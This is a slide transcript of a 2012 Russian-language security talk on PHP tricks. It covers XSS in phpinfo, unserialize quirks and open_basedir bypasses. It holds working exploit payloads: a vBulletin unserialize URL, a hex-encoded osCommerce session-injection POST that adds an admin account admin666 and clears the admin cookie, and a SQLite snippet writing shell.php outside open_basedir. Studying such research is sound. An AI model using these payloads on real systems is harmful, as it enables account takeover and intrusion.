php tricks

37
PHP tricks Сергей «BlackFan» Бобров Август, 2012 г.

Upload: blackfan

Post on 13-Feb-2017

3.685 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: PHP Tricks

PHP tricks

Сергей «BlackFan» Бобров

Август, 2012 г.

Page 2: PHP Tricks

Содержание

PHP Tricks• XSS в phpinfo

• Unserialize tricks

• etc…

vBulletin XSS via RCE

osCommerce Online Merchant 0day

PHP open_basedir bypass

Page 3: PHP Tricks

PHP trick #1 – XSS в phpinfo

Названия дополнительных модулей и заголовочная информация подвержены XSS

Page 4: PHP Tricks

PHP trick #2 – XSS в phpinfo

Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция

Page 5: PHP Tricks

PHP trick #2 – XSS в phpinfo

Начиная с PHP 5.4.0 для вывода PHP Streams, Stream Socket Transports и Stream Filters была создана отдельная функция

Page 6: PHP Tricks

PHP trick #3 – Баг парсера переменных

Неправильная замена символов в парсинге массивов в GET, POST, COOKIE

Page 7: PHP Tricks

PHP trick #3 – Баг парсера переменных

Неправильная замена символов в парсинге массивов в GET, POST, COOKIE

GET /var_parser.php?aa%20aa=1

array(1) { ["aa_aa"]=> string(1) "1" }

GET /var_parser.php?a[a%20aa=1

array(1) { ["a_a aa"]=> string(1) "1" }

GET /var_parser.php?aa.aa=1

array(1) { ["aa_aa"]=> string(1) "1" }

GET /var_parser.php?a[a.aa=1

array(1) { ["a_a.aa"]=> string(1) "1" }

GET /var_parser.php?aa[aa=1

array(1) { ["aa_aa"]=> string(1) "1" }

GET /var_parser.php?a[a[aa=1

array(1) { ["a_a[aa"]=> string(1) "1" }

Page 8: PHP Tricks

PHP tricks – Unserialize tricks

Сериализация — процесс перевода какой-либо структуры данных в последовательность битов.

Обратной к операции сериализации является операция десериализации — восстановление начального состояния структуры данных из битовой последовательности.

Пример сериализованных данных в PHPO:4:”test”:2:{s:4:”var1”;s:4:”test”;s:4:”var2”;b:1;}

Page 9: PHP Tricks

PHP trick #4 – Unserialize trick #1

Целочисленное переполнение в unserialize

Page 10: PHP Tricks

PHP trick #5 – Unsirialize trick #2

Произвольный символ после строки

Page 11: PHP Tricks

PHP trick #6 – Unsirialize trick #3

«Необязательность» количества переменных и произвольные символы после них

Page 12: PHP Tricks

PHP tricks – Unsirialize tricks

Объединим все нарушения синтаксиса в одну строку

Page 13: PHP Tricks

PHP trick #7 – Unsirialize trick #4

Особенности выполнения деструктора

Page 14: PHP Tricks

vBulletin XSS via RCE

vBulletin nulled <= 3.8.2 Arbitrary Function Executionhttp://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/

class vB_Shutdown {…function __destruct() {

…foreach ($this->shutdown AS $key =>

$funcname) { $funcname();

Не будем останавливаться на вызове phpinfo()

Page 15: PHP Tricks

vBulletin XSS via RCE

debug_print_backtrace debug_print_backtrace prints a PHP backtrace. It prints the function calls,

included/required files and eval()ed stuff.

Пример вывода#0 vB_Shutdown->__destruct()#1 unserialize(a:1:{i:0;O:11:"vB_Shutdown":1:{s:8:"shutdown"; a:1:

{i:0;s:21:"debug_print_backtrace";}}}) called at [/path/forumdisplay.php:179]

Page 16: PHP Tricks

vBulletin XSS via RCE

Exploithttp://vbulletin/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=2a2d3492e8667cad2393b8bfe620e70b00130d2a a:2:{ i:0;s:36:"<script>alert('Fuck yeah!')</script>"; i:1;O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:1;s:21:"debug_print_backtrace";} }

Page 17: PHP Tricks

osCommerce Online Merchant 0day #1

osCommerce Online Merchant 2.3.* is an Open Source online shop e-commerce solution that is available for free

with a feature rich set of out-of-the-box online shopping cart functionality that blah-blah-blah...

Модуль «Who's Online»• Просмотр информации об активных пользователях• Просмотр содержимого их корзины

Page 18: PHP Tricks

osCommerce Online Merchant 0day #1

Реализация просмотра корзины в модуле «Who's Online»1. Берем сырые данные из сессии пользователя2. Находим подстроку содержащую объект корзины3. Десериализуем и обновляем массив _SESSION у администратора

(session_decode)

Аналогичные действия производим с • customer_id• сurrency• customer_country_id• customer_zone_id

Page 19: PHP Tricks

osCommerce Online Merchant 0day #1

Содержимое сессий пользователей / гостей• sessiontoken• cart• language• navigation (история посещений включая GET/POST параметры)• customer_id (отсутствует у гостей)• etc…

Page 20: PHP Tricks

osCommerce Online Merchant 0day #1

Реализация в коде

$start_id = strpos($session_data, 'customer_id|s');…$session_data_id = substr($session_data, $start_id,

(strpos($session_data, ';', $start_id) - $start_id + 1));…session_decode($session_data_id);

Page 21: PHP Tricks

osCommerce Online Merchant 0day #1

Эксплуатация• «customer_id» в сессии идет после истории посещений• Наличие в истории «customer_id|s» нарушит логику поиска переменной• Поиск идет до следующей точки с запятой

session_decode('customer_id|s|foobar|s:7:"AWESOME";');var_dump($_SESSION);

array(3) { ["customer_id"] => NULL ["s"] => NULL ["foobar"] => string(7) "AWESOME"}

Page 22: PHP Tricks

osCommerce Online Merchant 0day #2

Данные из сессии глобализуются с перезаписью

if (($session_started == true) && (PHP_VERSION >= 4.3) && function_exists('ini_get') &&

(ini_get('register_globals') == false) ) {

extract($_SESSION, EXTR_OVERWRITE+EXTR_REFS); }

Page 23: PHP Tricks

osCommerce Online Merchant 0day #3

Индексы GPC массивов не проходят функцию addslashesНачиная с PHP 5.4.0 get_magic_quotes_gpc() всегда возвращает false и эта функция срабатывает

function do_magic_quotes_gpc(&$ar) { … while (list($key, $value) = each($ar)) {

if (is_array($ar[$key])) { do_magic_quotes_gpc($ar[$key]); } else { $ar[$key] = addslashes($value); }

Page 24: PHP Tricks

osCommerce Online Merchant 0day #100500

Используем все перечисленные баги, а так же• За счет перезаписи переменных сделаем XSS в messageToStack (стек

информационных сообщений отображаемых в админ-панеле)• Подделаем запрос на добавление админа путем перезаписи массива

HTTP_POST_VARS• Уберем «зараженную» через XSS

Page 25: PHP Tricks

Финальный эксплоит POST-запрос customer_id|s|HTTP_POST_VARS|a:2:

{s:8:"username"xs:8:"admin666"}s:8:"password"xs:8:"admin666"}}messageToStack|a:2:{s:1:"0"xa:2:{s:4:"text"xS:136:"Session\20expired.\20Please\20relogin.\3c\69\66\72\61\6d\65\20\73\72\63\3d\22\61\64\6d\69\6e\69\73\74\72\61\74\6f\72\73\2e\70\68\70\3f\61\63\74\69\6f\6e\3d\69\6e\73\65\72\74\22\20\73\74\79\6c\65\3d\22\76\69\73\69\62\69\6c\69\74\79\3a\68\69\64\64\65\6e\3b\77\69\64\74\68\3a\30\70\78\3b\68\65\69\67\68\74\3a\30\70\78\3b\22\3e\3c\2f\69\66\72\61\6d\65\3e"}s:4:"type"xs:0:""x}s:1:"1"xa:2:{s:4:"text"xS:100:"\3c\73\63\72\69\70\74\3e\73\65\74\49\6e\74\65\72\76\61\6c\28\66\75\6e\63\74\69\6f\6e\28\29\7b\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\3d\27\6f\73\43\41\64\6d\69\6e\49\44\3d\27\3b\64\6f\63\75\6d\65\6e\74\2e\6c\6f\63\61\74\69\6f\6e\3d\27\2f\27\3b\7d\2c\20\32\30\30\30\29\3c\2f\73\63\72\69\70\74\3e"}s:4:"type"xs:0:""x}}=1

osCommerce Online Merchant 0day #100500

Page 26: PHP Tricks

Логика эксплоита:• Заражаем свою историю посещений• После открытия администратором модуля «who’s online» происходит

заражение его сессии• При следущем запросе администратору выдаст сообщение «Session

expired. Please relogin.»• В iframe подгрузится «administrators.php?action=insert» и добавится

администратор admin666:admin666• Через XSS перебрасываем админа на главную и очищаем

идентификатор с зараженной сессией <script>setInterval(function(){document.cookie='osCAdminID='; document.location='/';}, 2000)</script>

osCommerce Online Merchant 0day #100500

Page 27: PHP Tricks

open_basedir Ограничивает указанным деревом каталогов файлы, которые могут

быть открыты с помощью PHP, включая сам файл. Эта директива НЕ подвержена влиянию безопасного режима.

http://www.php.net/manual/ru/ini.core.php#ini.open-basedir

PHP open_basedir bypass

Page 28: PHP Tricks

Разная реакция функций на существующий и несуществующий файл за пределами open_basedir

var_dump(realpath('../test1.txt'));Warning: realpath() [function.realpath]: open_basedir restriction in effect.False

var_dump(realpath('../test1_.txt'));False

PHP open_basedir bypass #0

Page 29: PHP Tricks

Разная реакция функций на существующий и несуществующий файл за пределами open_basedir

$z = new ZipArchive(); $z->open(“openbd.zip”,ZIPARCHIVE::CREATE); $z->addGlob(“/*”);

Warning: ZipArchive::addGlob() [ziparchive.addglob]: open_basedir restriction in effect. File(/bin/) is not within the allowed path(s):

PHP open_basedir bypass #1

Page 30: PHP Tricks

DirectoryIterator directory listing by BECHED (14.01.12)http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt

PHP open_basedir bypass #2

Page 31: PHP Tricks

Логика проверки open_basedirNew DirectoryIterator(‘glob://../*’);• Путь к файлу попадает в функцию проверки вместе с враппером

glob://../*• Путь относительный, дописываем текущую директорию

/var/www/site/glob://../*• Нормализуем путь

/var/www/site/*• Файл лежит в разрешенной директории, пропускаем

PHP open_basedir bypass #2

Page 32: PHP Tricks

SQLite In-Memory Databases

• An SQLite database is normally stored in a single ordinary disk file. However, in certain circumstances, the database might be stored in memory.

• The most common way to force an SQLite database to exist purely in memory is to open the database using the special filename ":memory:". For example: rc = sqlite3_open(":memory:", &db);

• When this is done, no disk file is opened. Instead, a new database is created purely in memory.

http://www.sqlite.org/inmemorydb.html

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 33: PHP Tricks

Варианты использования

• :memory:• file::memory:• file:%3A%6D%65%6D%6F%72%79%3A• file::memory:?cache=shared• file:memdb1?mode=memory&cache=shared

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 34: PHP Tricks

Реализация в коде/php-src/ext/sqlite3/sqlite3.c

/php-src/ext/sqlite3/libsqlite/sqlite3.c

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 35: PHP Tricks

Создание файлов за пределами open_basedir через SQLite

<?phpmkdir(‘:memory:’);$database = new SQLite3(“:memory:/../../shell.php”);$database->exec(“CREATE TABLE foo (bar STRING)”);$database->exec(“INSERT INTO foo (bar) VALUES (‘<?php phpinfo(); ?>’)”);$database->close();rmdir(‘:memory:’);

?>

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 36: PHP Tricks

Improve check for :memory: pseudo-filename in SQlite (https://github.com/php/php-src/commit/055ecbc62878e86287d742c7246c21606cee8183)

Было:

if (strncmp(filename, ":memory:", 8) != 0)

Стало:

if (memcmp(filename, ":memory:", sizeof(":memory:")) != 0)

PHP open_basedir bypass #3 (CVE-2012-3365)

Page 37: PHP Tricks

Спасибо за внимание!

[email protected]